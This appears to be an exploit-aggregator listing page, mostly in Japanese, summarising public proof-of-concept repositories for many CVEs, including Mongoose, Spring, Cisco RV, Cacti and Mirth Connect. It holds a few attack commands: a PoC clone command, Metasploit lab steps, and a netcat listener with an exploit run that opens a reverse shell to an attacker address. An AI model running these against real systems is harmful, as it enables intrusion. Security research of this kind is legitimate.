cve-2025-48384-poc

CVE-2025-48384 の PoC CVE-2025-48384 を参照してください。 実行するには: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 出力例: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where RCE このリポジトリは、CVE-2024-53900 の再現可能な脆弱性環境と PoC を提供します。これは、Mongoose 8.8.3 の重大なリモートコード実行（RCE）脆弱性です。 📌 脆弱性の詳細 CVE : CVE-2024-53900 影響を受けるバージョン : Mongoose 8.8.3 深刻度 : 緊急 CVSS 9.1 攻撃ベクトル : populate.match と $where の組み合わせ 影響 : Node.js コンテキストでの任意の JavaScript...

FlowiseAI-Critical-KillChain

FlowiseAI — 重大なキルチェーン FlowiseAI 5秒未満 での完全なコンテナ侵害、認証情報不要 。 キルチェーン...

CVE-2025-15556-Notepad-WinGUp-Updater-RCE

影響を受けるソフトウェア: WinGUpアップデーターを使用する8.8.9より前のNotepad++バージョン。 脆弱性タイプ: 任意のコード実行につながるアップデート整合性検証のバイパス 説明: WinGUpアップデーターはアップデートメタデータの整合性を適切に検証しないため、アップデートトラフィックを傍受またはリダイレクトできる攻撃者が、ユーザー権限で実行される悪意のあるインストーラーを配布できるようになります。 また、参考用にexploit.py（中間者攻撃プロキシ）と、仲間のプレイヤー向けのHTBフレンドリー版（DNSスプーフィングシミュレーション）も含めました。...

CVE-2025-13486

🔴 CVE-2025-13486 - Advanced Custom Fields Extended ACFE WordPressプラグインエクスプロイト 📋 概要 CVE-2025-13486 の概念実証エクスプロイトです。これは Advanced Custom Fields: Extended ACFE WordPressプラグインの深刻な脆弱性で、リモートコード実行から権限昇格を可能にします。 🎯 脆弱性の詳細 側面| 詳細 ---|--- CVE ID| CVE-2025-13486 プラグイン| Advanced Custom Fields: Extended ACFE タイプ...

Jenkins_CVE-2019-1003000

JenkinsScript-SecurityPipelineプラグインのリモートコード実行の脆弱性CVE-2019-1003000 pocsuite版...

cve-2026-82222-poc

CVE-2026-82222 GiveWP = 4.16.7.1 における未認証のPHPオブジェクトインジェクションからRCEへ 4.16.7.2 でパッチ適用済み...

CVE-2022-22980

SpEL RCE Exploit - CVE-2022-22980 Spring Data に対する SpEL（Spring Expression Language）インジェクションを利用したリモートコード実行（RCE）エクスプロイト。 説明 脆弱性 このボックスは、SpEL インジェクションに対して脆弱なパラメータ trackingid を受け付けるエンドポイント /search を公開しています。このインジェクションにより、サーバー上で悪意のある Java 式を直接実行できます。 エクスプロイトの原理 1. Runtime.getRuntime.exec を介してシェルコマンドを実行...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...

metasploitable3-pentest-writeup

Metasploitable3 — ペネトレーションテストレポート 著者: Arlen Fortunato 日付: 2026年9月 環境: Parrot OS 攻撃側 → Metasploitable3 Ubuntu 14.04 ターゲット スコープ: フルネットワークペネトレーションテスト — 列挙、エクスプロイト、権限昇格、ポストエクスプロイト 種別: ホームラボ / Capture The Flag 練習 ⚠️ 以下の認証情報はすべて伏せ字 です。これは合法的な、隔離されたホームラボ演習でした。 使用ツール ツール| 役割 ---|--- Nmap|...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...

CVE-2026-94109 openEQUELLA < 2026.1.0 Authenticated Stored SSTI via FreemarkerPortletRenderer

openEQUELLA before 2026.1.0 contains an authenticated stored server-side template injection vulnerability in FreemarkerPortletRenderer.renderHtml that allows any authenticated non-guest user to achieve remote code execution by storing a malicious FreeMarker payload through a POST request to the...

CVE-2026-94109

openEQUELLA versions before 2026.1.0 are affected by a remote code execution vulnerability in FreeMarker template compilation, caused by an unsandboxed TemplateClassResolver configuration. Authenticated attackers can inject malicious template expressions via collection summaries , dashboard portl...

CVE-2021-29440

CVE-2021-29440 Grav CMS 1.7.10 の静的ページの安全でない Twig 処理による RCE Grav はファイルベースのWebプラットフォームです。静的ページの Twig 処理は、ページの作成または編集を許可された管理ユーザーであれば誰でもフロントマターで有効にできます。Twig プロセッサはサンドボックス化されずに実行されるため、この動作を利用して任意のコード実行を達成し、インスタンス上の権限を昇格させることができます。 解説 /admin ダッシュボードにアクセスでき、ページ作成権限を持つユーザーが必要です。 フロントマターブロックは process.twi...

CVE-2019-0708

CVE-2019-0708-poc CVE-2019-0708 リモートコード実行の脆弱性を一括検出 3389hosts は検出対象のIPアドレスリストです。1行に1つ pool = ThreadPool10 はカスタムスキャンスレッドです 注意 Windows Python3環境 使用方法 1. 3389hostsを編集し、検出対象のIPアドレスをファイルに書き込みます（1行に1つ） 2. コマンドラインでコードのあるディレクトリに移動し、python cve-2019-0708.py を実行します...

CVE-2023-33246

CVE-2023-33246 - RocketMQ リモートコード実行 CVE-2023-33246 - Apache RocketMQ 設定によるリモートコード実行エクスプロイト 概要 RocketMQ は分散型メッセージングおよびストリーミングプラットフォームです。 RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQ の Broker コンポーネントが外部ネットワークに漏洩し、アクセス許可の検証が不足しています。攻撃者は設定更新機能を利用して、RocketMQ...

CVE-2025-24367-PoC-Cacti

Cacti CVE‑2025‑24367 認証済みRCE PoC このリポジトリには、Cacti の認証済みリモートコード実行（RCE）の脆弱性である CVE‑2025‑24367 の概念実証（PoC）エクスプロイトが含まれています。 この問題は、グラフテンプレート処理における入力サニタイズの不備を悪用します。“Unix – Logged in Users” グラフテンプレート（ID 226）に悪意のあるコンテンツを注入することで、任意の PHP ファイルを Cacti の Web ルートに書き込み、サーバー上でコマンドを実行することが可能になります。 この PoC...

CVE-2025-33053_PoC

CVE-2025-33053 POC 익스플로잇 개요 .url 파일의 작업 디렉터리를 외부 WebDAV 서버로 설정할 수 있습니다. Windows 클라이언트에서 이 파일을 열면 URL 필드에 정의된 실행 파일의 종속성이 외부 WebDAV 공유에서 검색됩니다. 임의의 실행 파일이나 DLL이 이러한 종속성 중 하나와 동일한 이름을 가질 경우, Windows 클라이언트에 의해 로드되어 실행됩니다. 이 POC의 경우 URL은 Windows 클라이언트 로컬의 Internet Explorer 진단 실행 파일인 "iediagcmd.exe"로...

PHP-CGI-Argument-Injection-Exploit

🎬 このYouTube動画 1️⃣ ターゲットの確認 KaliからMetasploitableのIPを特定します: root@kitploit: ip a 例: Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 ポートとサービスを確認します: root@kitploit: nmap -p 80 192.168.56.102 ブラウザでも確認できます: http://192.168.56.102/ 2️⃣ Metasploitを起動 root@kitploit: msfconsole 3️⃣ PHP CGIエクスプロイトモジュールの選択...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 説明 Mirth Connect のリモートコード実行（RCE）の PoC XStream の逆シリアル化を介して Mirth Connect 例 リスナーを起動 root@kitploit: nc -lvnp 4444 エクスプロイトを実行 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2023-43208...